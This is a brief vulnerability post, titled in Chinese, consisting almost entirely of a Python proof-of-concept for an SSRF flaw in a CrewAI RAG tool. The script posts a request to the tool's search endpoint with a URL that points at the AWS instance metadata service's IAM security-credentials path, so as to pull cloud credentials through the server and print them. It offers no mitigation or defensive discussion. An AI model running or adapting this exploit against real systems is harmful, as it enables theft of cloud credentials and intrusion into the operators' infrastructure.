CVE-2026-2286 CrewAI RAG工具严重SSRF漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-2286 (CrewAI SSRF) This script demonstrates how a malicious URL can be sent to the vulnerable RAG tool. """ import requests target_url = "http://target-crewai-instance:8000/api/rag/search" # Hypothetical endpoint # Payload targeting internal metadata (AWS example) payload_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" data = { "query": "test", "url": payload_url # Malicious internal URL } try: response = requests.post(target_url, json=data) if response.status_code == 200: print("[+] SSRF Successful! Response from internal service:") print(response.text) else: print("[-] Request failed or filtered.") except Exception as e: print(f"Error: {e}")